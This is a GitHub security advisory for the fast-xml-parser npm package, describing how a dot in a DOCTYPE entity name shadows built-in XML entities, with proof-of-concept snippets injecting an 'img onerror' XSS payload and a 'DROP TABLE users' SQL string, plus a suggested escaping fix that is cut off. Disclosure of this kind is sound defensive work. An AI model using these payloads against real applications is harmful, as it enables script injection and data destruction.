GitHub Security Advisory: GHSA-m7jm-9gc2-mpf2
Package: fast-xml-parser (NPM)
Severity: CRITICAL (CVSS 9.3)
CWE: CWE-185: Incorrect Regular Expression
Vulnerable versions: >= 4.1.3, < 4.5.4
Patched in: 4.5.4

Summary: fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names

Details:
# Entity encoding bypass via regex injection in DOCTYPE entity names

## Summary

A dot (`.`) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (`&lt;`, `&gt;`, `&amp;`, `&quot;`, `&apos;`) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.

## Details

The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed `.` (period), which is valid in XML names per the W3C spec.

In `DocTypeReader.js`, entity names are passed directly to `RegExp()`:

```js
entities[entityName] = {
    regx: RegExp(`&${entityName};`, "g"),
    val: val
};
```

An entity named `l.` produces the regex `/&l.;/g` where `.` matches **any character**, including the `t` in `&lt;`. Since DOCTYPE entities are replaced before built-in entities, this shadows `&lt;` entirely.

The same issue exists in `OrderedObjParser.js:81` (`addExternalEntities`), and in the v6 codebase - `EntitiesParser.js` has a `validateEntityName` function with a character blacklist, but `.` is not included:

```js
// v6 EntitiesParser.js line 96
const specialChar = "!?\\/[]$%{}^&*()<>|+";  // no dot
```

## Shadowing all 5 built-in entities

| Entity name | Regex created | Shadows |
|---|---|---|
| `l.` | `/&l.;/g` | `&lt;` |
| `g.` | `/&g.;/g` | `&gt;` |
| `am.` | `/&am.;/g` | `&amp;` |
| `quo.` | `/&quo.;/g` | `&quot;` |
| `apo.` | `/&apo.;/g` | `&apos;` |

## PoC

```js
const { XMLParser } = require("fast-xml-parser");

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY l. "<img src=x onerror=alert(1)>">
]>
<root>
  <text>Hello &lt;b&gt;World&lt;/b&gt;</text>
</root>`;

const result = new XMLParser().parse(xml);
console.log(result.root.text);
// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>
```

No special parser options needed - `processEntities: true` is the default.

When an app renders `result.root.text` in a page (e.g. `innerHTML`, template interpolation, SSR), the injected `<img onerror>` fires.

`&amp;` can be shadowed too:

```js
const xml2 = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY am. "'; DROP TABLE users;--">
]>
<root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`;

const r = new XMLParser().parse(xml2);
console.log(r.root);
// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'
```

## Impact

This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.

- Default config, no special options
- Attacker can replace any `&lt;` / `&gt;` / `&amp;` / `&quot;` / `&apos;` with arbitrary strings
- Direct XSS vector when parsed XML content is rendered in a page
- v5 and v6 both affected

## Suggested fix

Escape regex metacharacters before constructing the replacement regex:

```js
const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
entities[entityName] = {